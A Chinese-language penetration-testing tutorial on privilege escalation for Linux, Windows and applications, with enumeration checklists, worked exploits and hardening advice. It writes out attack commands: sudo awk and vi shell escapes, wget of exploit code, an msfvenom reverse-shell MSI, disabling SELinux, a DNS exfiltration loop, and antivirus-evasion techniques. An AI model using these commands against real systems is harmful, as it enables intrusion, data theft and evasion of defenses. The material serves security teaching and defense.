1. 权限提升漏洞的本质与分类
权限提升(Privilege Escalation)是渗透测试中最关键的环节之一,也是红蓝对抗中的核心技能点。简单来说,就是通过系统/应用的配置缺陷、逻辑漏洞或设计瑕疵,将当前低权限账户升级为更高权限账户(如普通用户→root、User→SYSTEM)的过程。
根据操作系统环境,我将权限提升漏洞分为三大类:
1.1 Linux系统提权路径
Linux环境下常见的提权路径包括但不限于:
- SUID滥用:查找具有SUID位的非常规可执行文件(如
find / -perm -4000 2>/dev/null),利用find、vim、bash等程序的SUID特性执行任意命令 - 内核漏洞利用:针对特定内核版本的公开漏洞(如DirtyPipe、DirtyCow),需要匹配系统内核版本与漏洞影响范围
- 计划任务劫持:检查crontab任务中是否存在全局可写的脚本文件(
ls -la /etc/crontab) - 环境变量注入:利用PATH变量优先级或LD_PRELOAD加载恶意so文件
- sudo配置缺陷:通过
sudo -l查看当前用户可免密执行的命令,如允许以root身份执行vim/less等编辑器时可直接获取shell
实际案例:在一次内网渗透中,发现某台Ubuntu 18.04服务器允许普通用户通过sudo执行/usr/bin/awk,最终通过
sudo awk 'BEGIN {system("/bin/sh")}'获得root shell
1.2 Windows系统提权路径
Windows环境下的经典提权方式包括:
- 服务权限滥用:检查可修改的Windows服务二进制路径(accesschk.exe检测),替换为恶意exe
- AlwaysInstallElevated:组策略设置允许低权限用户安装MSI包时自动提权(注册表项
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer) - 令牌窃取:通过Metasploit的incognito模块或本地工具窃取SYSTEM进程令牌
- DLL劫持:利用Windows DLL搜索顺序漏洞加载恶意DLL
- 未引用的服务路径:服务启动时调用路径包含空格且未用引号包裹时(如
C:\Program Files\Some Dir\program.exe),可在中间目录植入恶意程序
1.3 应用层提权漏洞
跨平台的应用程序提权场景:
- Web应用会话篡改:修改Cookie中的权限标识(如
admin=0→1) - 数据库存储过程滥用:MySQL UDF提权、MSSQL xp_cmdshell调用
- 容器逃逸:利用docker.sock挂载或特权容器配置缺陷
- 第三方服务漏洞:如Redis未授权访问导致SSH公钥写入
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 自动化信息收集方法论
在实战中,系统化的信息收集能大幅提高提权效率。以下是我整理的标准化检查清单:
2.1 Linux系统信息收集
bash复制# 系统基础信息
uname -a # 内核版本
cat /etc/issue # 发行版信息
lsb_release -a # 详细版本
# 用户与权限
id # 当前用户权限
sudo -l # 可sudo命令
cat /etc/passwd | grep -v nologin # 可用shell用户
# 敏感文件检查
find / -perm -4000 2>/dev/null # SUID文件
find / -writable -type d 2>/dev/null # 可写目录
find / -name ".*" -type f -writable 2>/dev/null # 可写配置文件
2.2 Windows系统信息收集
powershell复制# 系统信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get Caption,Description,HotFixID,InstalledOn # 补丁列表
# 权限相关
whoami /priv # 当前令牌权限
accesschk.exe -uwcqv "Authenticated Users" * /accepteula # 服务权限检查
reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" # AlwaysInstallElevated
2.3 网络与服务枚举
bash复制# 网络连接
netstat -antup # Linux
netstat -ano # Windows
# 运行服务
ps aux # Linux
tasklist /svc # Windows
3. 典型漏洞利用实战解析
3.1 Linux内核漏洞利用(CVE-2021-4034 pkexec案例)
2022年爆出的pkexec本地提权漏洞影响几乎所有主流Linux发行版,其根源在于GLibc处理环境变量时的逻辑错误。利用步骤:
-
检测漏洞存在性:
bash复制pkexec --version | grep "polkit" stat -c '%a' /usr/bin/pkexec | grep 4755 -
下载利用代码并编译:
bash复制
wget https://example.com/cve-2021-4034.c gcc cve-2021-4034.c -o exploit -
执行提权:
bash复制./exploit whoami # 验证是否为root
踩坑记录:在CentOS 7上测试时发现默认SELinux会阻止exploit执行,需临时设置为permissive模式(
setenforce 0)
3.2 Windows MSI提权(AlwaysInstallElevated)
当组策略启用AlwaysInstallElevated时,可通过以下步骤提权:
-
验证注册表设置:
powershell复制reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated -
使用msfvenom生成恶意MSI:
bash复制
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi > evil.msi -
目标机执行安装:
cmd复制
msiexec /quiet /qn /i C:\temp\evil.msi -
监听端收到SYSTEM权限shell
4. 防御视角下的防护建议
作为防守方,应从以下层面阻断提权路径:
4.1 Linux系统加固
- SUID清理:定期审计SUID文件(
find / -perm -4000),移除非必要程序的SUID位bash复制chmod u-s /usr/bin/find # 示例:移除find的SUID - sudo精细化控制:在/etc/sudoers中限制命令范围
bash复制# 错误配置 user1 ALL=(ALL) NOPASSWD: ALL # 正确配置 user1 ALL=(ALL) NOPASSWD: /usr/bin/apt update - 内核更新:建立补丁管理制度,及时修复已知内核漏洞
4.2 Windows系统加固
- 服务权限最小化:使用icacls限制服务二进制修改权限
powershell复制icacls "C:\Program Files\Service\binary.exe" /deny Everyone:(F) - 组策略限制:禁用AlwaysInstallElevated策略
- DLL安全加载:设置注册表项
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode为1
4.3 应用层防护
- Web会话安全:
- 使用JWT替代传统Cookie时需签名验证
- 敏感操作需二次认证
- 数据库安全:
- 禁用高危存储过程(如
xp_cmdshell) - 限制MySQL FILE权限
- 禁用高危存储过程(如
5. 高级技巧与疑难解决
5.1 受限环境下的文件上传
当遇到无法直接上传提权工具时,可尝试:
- 纯文本转二进制:
bash复制# Linux下恢复二进制文件 echo -e "\x7f\x45\x4c\x46..." > exploit.bin - DNS外带数据:
bash复制# 将文件base64编码后分块通过DNS查询外传 for i in $(cat file.txt | base64 -w 32); do dig $i.domain.com; done
5.2 对抗杀软的内存操作
在Windows提权时,常规进程注入可能被拦截,可尝试:
- 父进程欺骗:通过CreateProcessWithToken创建进程时指定合法父进程ID
- 直接系统调用:使用Syscall直接调用NtCreateUserProcess等底层API
5.3 无交互Shell下的提权
当只有受限shell(如rbash)时,突破方法:
bash复制# 利用环境变量逃逸
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# 通过vi/vim突破
vi
:set shell=/bin/sh
:shell
在多年的渗透测试实践中,我发现约60%的成功提权都源于配置错误而非0day漏洞。建议运维人员定期使用自动化工具(如LinPEAS、WinPEAS)进行自查,而安全人员则应建立完整的提权漏洞知识库,保持对新型漏洞的持续跟踪。
